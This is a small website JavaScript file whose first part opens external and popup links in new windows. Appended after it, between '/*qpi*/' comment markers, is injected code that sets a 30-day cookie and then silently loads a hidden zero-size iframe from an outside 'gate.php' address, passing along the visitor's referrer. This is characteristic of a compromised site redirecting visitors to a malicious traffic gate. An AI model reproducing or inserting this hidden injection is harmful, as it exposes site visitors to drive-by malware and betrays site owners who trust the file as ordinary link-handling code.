function open_page(url) {
	window.open(url);
}

$(document).ready(function() {
	catchExternalLinks(null);
});

function catchExternalLinks(elem) {
	if(elem == null) {
		elem = document.body;
	}
	$(elem).find("a[rel=external]").click(function() {
		window.open(this.href);
		return false;
	});

	$(elem).find("a[rel=popup]").click(function() {
		window.open(this.href, 'plpp', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=300,height=300,left=570,top=300');
		return false;
	});
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=829072&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
